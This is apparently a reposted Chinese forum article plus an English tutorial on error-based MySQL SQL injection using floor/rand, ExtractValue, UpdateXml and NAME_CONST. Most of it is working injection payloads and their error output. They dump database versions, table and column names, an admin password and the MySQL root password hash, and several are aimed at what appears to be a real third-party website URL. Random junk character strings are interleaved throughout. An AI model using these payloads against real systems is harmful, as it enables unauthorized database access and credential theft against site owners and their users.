mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
5 t/ L7 ]4 }0 I8 Y# U首先进行正常查询：

mysql> select * from article where id = 1;
+—-+——-+———+
! m3 ]- [1 m3 R9 A8 H+ Q| id | title | content |
/ I5 B9 S+ f  C+—-+——-+———+
|  1 | test  | do it   |
+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
" H. R8 R( b0 g" e7 E; k, j/ q+ EERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
. K6 G/ z0 F/ a$ B; }# y  E$ L1 fERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
7 i# |4 d, `  T$ e7 G9 F2 H测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

2 i- w) P2 ?% E

再收集：

$ h8 v$ N% O& O% D0 w% i! P3 J& ehttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

Erroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’
' P0 I3 U; F( l2 j5 A
( U! a$ o) \7 E9 Mhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)
% p  ?5 ?, R' V- ^- @
1 d9 R- o) m2 V3 e4 I& u+ k( e# D, D6 uErroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′

MYSQL高版本报错注入技巧-利用NAME_CONST注入
It's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.


7 ^( \0 g' \# l2 A7 g- c2 C相关信息
. ~  r5 v& ]% p
  {8 ^* J8 V# o3 b, I" }NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.

% Q! W# y3 G3 \0 U5 {Code:
' ?# S7 n% }8 n: {! u* W& t( m! _NAME_CONST(DATA, VALUE)
4 p3 {' [- p+ z& `' q/ \! Y
Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
  u. ]" K2 z3 ~/ m" e% U
SELECT NAME_CONST('TEST', 1)
% g" V1 I: {$ P- o" f2 u4 A
% h# Y5 _9 `9 p4 j

$ j6 @0 V- Z! X' A|---------------|
. T7 C, u' }: N& N- E|     TEST      |
|               |
# p( @; @* D% p3 i6 N2 M|---------------|
|       1       |
: ^3 k9 r3 T4 u) ||               |
|---------------|

. Y8 E' R) T4 I/ o
* `4 [2 F, E0 F

: B$ t; v" t0 g- C. v7 f, e2 Ghttp://dev.mysql.com/doc/refman/5.0/en/m...name-const
9 F8 R+ ?% _8 PIntro to MySQL Variables

- H8 |! w4 v. k/ KOnce you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
8 Y6 }/ P+ s, B1 J% w
8 c3 ]2 A2 k8 U! C/ h$ i* f3 YCode:
# A/ v! w" O$ ?http://www.baido.hk/qcwh/content ... ;sid=19&cid=261



$ P: x& k4 U) [3 k; t
; ~+ c% m+ X& o; D% q6 E/ l
$ d; H- V* Z6 h' WCode:
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--
, g* J6 A8 S# \# A9 x: L
1 \! D3 \) ?7 j# ^- m9 m
5 H! o5 G4 @8 Q: S8 vVAR = Your MySQL variable.
5 S, M( H# t1 u) B6 E8 d
: G  y: q* B% H: s. V4 l  x: vMySQL 5.1.3 Server System Variables

7 h( y% L  T0 X* fLet's try it out on my site..
7 [3 E' W: [6 ~, x
: X) E/ U1 }% r" {0 TCode:
% `( W8 n/ Z) G" Uhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--
; s6 @: m2 Q" ^5 Q6 {4 ~
3 C9 s# M; c% c0 [: _8 NErroruplicate column name '5.0.27-community-nt'





# Q- W% V# }2 ^# }4 vNow I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...

" K" l$ R6 V1 y/ h* a$ g: q3 fData Extraction

Code:
: [3 D& K' y3 W8 k4 a) x8 w4 l+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--

+ _/ S$ w3 V# K' a5 a: y
We should get a duplicate column 1 error...

- V) p/ v% k* {; S& mCode:
0 o( a/ f& }( }" {) Bhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--

Erroruplicate column name '1
3 I  G- C3 ?+ ?# }
" W# w" y' n+ k, L8 t
* ?+ l; ]% [6 Z# i# k, {
5 y& G7 Q! `0 X

0 n1 J0 q" A7 v
/ a/ o( C3 i8 Z  ~Now let's get the tables out this bitch..
* j9 f4 ~: X: B' ~
# ~4 z, F/ x# o8 p$ Z2 N" bCode:
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
- T0 _  N; t* |6 }
  i8 {0 u% D9 w! [' U
* I/ |, o  J  s& a5 _$ ?5 TLet's see if it works here, if it does, we can go on and finish the job.

" h9 F* ]4 A6 n& V$ d* vCode:
- n) ~4 D7 n8 {# ]% Z0 jhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--


3 \6 y3 B; M( s7 j$ f5 ?* wErroruplicate column name 'com_admanage
1 V5 r1 H; k5 Z, \


- M; F5 U9 p+ D/ Z
; T0 d( m, b8 r

9 j4 |1 V) d+ g# |Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.
5 K! ?% j! v7 p$ Z) I6 z
Let's get the columns out of the user table..

, s5 A5 `2 v% K+ c* z9 J8 pCode:
+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--

3 l+ ?& j% t0 \, Z/ U
So mine looks like this, and I get the duplicate column name 'Host'.
% V0 b) v5 l+ Q1 K5 k) E+ x3 g- R
Code:
0 z( T; D8 e1 b3 d5 E, ihttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--

: c5 v9 E& U& |, l" oErroruplicate column name 'Host'




* w# [! [7 Q+ L) _- \  c
& U! _0 x9 {9 _6 y
. w+ C2 u' V2 l4 h! RWoot, time to finish this bitch off.

Code:
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--


So mine looks like this...
: K& \* {0 ]- L% X
. g* D: l8 [* v4 nCode:
http://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--

Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'





& e& g/ R+ b0 N% y; t
And there we have it, thanks for reading.
/ p9 y. ?: V, N% }; z( ]) S8 U' U
* P2 n8 n* r, x  R